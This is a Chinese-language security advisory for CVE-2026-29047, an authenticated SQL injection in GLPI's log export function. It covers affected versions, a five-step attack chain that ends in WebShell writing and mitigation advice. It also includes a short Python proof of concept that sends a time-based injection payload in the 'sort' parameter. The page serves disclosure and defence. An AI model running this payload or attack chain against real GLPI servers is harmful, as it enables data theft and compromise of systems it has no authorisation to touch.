IPBUF安全漏洞报告
English
CVE-2026-29047 CVSS 7.2 高危

CVE-2026-29047 GLPI SQL注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-29047
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
GLPI

相关标签

SQL注入GLPICVE-2026-29047远程代码执行认证后攻击

漏洞概述

GLPI是一款广泛使用的开源IT资产和服务管理软件。该漏洞存在于其日志导出功能中。在受影响的版本范围内(10.0.0至10.0.24-dev及11.0.0至11.0.6-dev),经过认证的高权限用户可以通过构造特定的请求参数,触发SQL注入攻击。由于缺乏足够的输入过滤,攻击者可利用此漏洞读取数据库敏感信息、修改数据甚至控制数据库服务器,严重影响系统的机密性、完整性和可用性。

技术细节

该漏洞的根本原因在于GLPI的日志导出功能在构建SQL查询语句时,未能对用户提供的输入参数进行充分的类型检查或转义处理。具体来说,当拥有高权限的认证用户尝试导出系统日志时,应用程序会将用户提交的排序参数或搜索过滤条件直接拼接到SQL查询的ORDER BY或WHERE子句中。这种不安全的编码方式使得攻击者能够通过注入单引号等特殊字符破坏原本的查询结构,从而拼接恶意的SQL指令。利用此漏洞,攻击者不仅可以通过布尔盲注或时间盲注逐位提取数据库中的敏感信息(如管理员密码哈希、用户数据),还可以在特定数据库权限下执行写入操作(如INSERT、UPDATE),导致数据篡改或系统拒绝服务。由于攻击需要认证权限,这通常意味着攻击者已经获得了初步访问权限,该漏洞常被用于提权或横向移动。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统运行的是受影响版本的GLPI软件。
STEP 2
2. 获取凭证
攻击者通过钓鱼或弱口令爆破获取一个具有高权限的GLPI账户凭据。
STEP 3
3. 漏洞利用
攻击者使用高权限账户登录,并访问日志导出功能,在参数中注入恶意SQL代码。
STEP 4
4. 数据窃取
利用SQL注入漏洞读取数据库中的敏感信息,如用户哈希或配置数据。
STEP 5
5. 持久化/破坏
根据数据库权限,攻击者可能写入WebShell或破坏数据完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-glpi-server/front/log.php" session_cookie = "glpi_cookie_value_here" # Replace with valid authenticated session # Malicious payload for SQL Injection (Time-based) payload = "1; SELECT SLEEP(5)-- -" headers = { "Cookie": f"glpi={session_cookie}", "User-Agent": "Mozilla/5.0" } # Exploit request params = { "action": "export", "sort": payload } try: response = requests.get(target_url, params=params, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection successful! Time-based delay detected.") else: print("[-] Exploit failed or not vulnerable.") except Exception as e: print(f"Error: {e}")

影响范围

GLPI >= 10.0.0, < 10.0.24
GLPI >= 11.0.0, < 11.0.6

防御指南

临时缓解措施
在未升级补丁之前,建议管理员严格限制拥有访问日志导出权限的用户数量,并部署Web应用防火墙(WAF)以拦截针对该功能的恶意SQL注入尝试。同时,应加强对数据库异常查询行为的监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表